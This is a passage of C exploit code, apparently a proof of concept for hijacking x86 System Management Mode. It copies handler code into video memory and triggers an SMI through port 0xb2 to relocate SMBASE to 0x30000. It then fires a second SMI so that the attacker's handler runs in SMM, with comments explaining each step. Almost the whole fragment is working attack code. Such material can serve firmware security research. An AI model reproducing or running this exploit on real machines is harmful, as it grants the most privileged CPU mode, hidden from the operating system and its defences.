memcpy(vidmem+0x6A04, &handler2, 14);
memcpy(vidmem, &init_jmp, 3);
munmap(vidmem, 0x8000);

/* trigger SMI */
/* This will run the handler hooked to modify SMBASE */
/* As a result SMBASE will be set to 0x30000 */

outl(0x0000000e, 0xb2);
printf("SRMRAM should be relocated\n");

/* After this point all SMI lead to handler()
execution in SMM */
outl(0x0000000f, 0xb2);

/* The following should not be executed
SMM handler returns to test()... */
exit(EXIT_FAILURE);

}


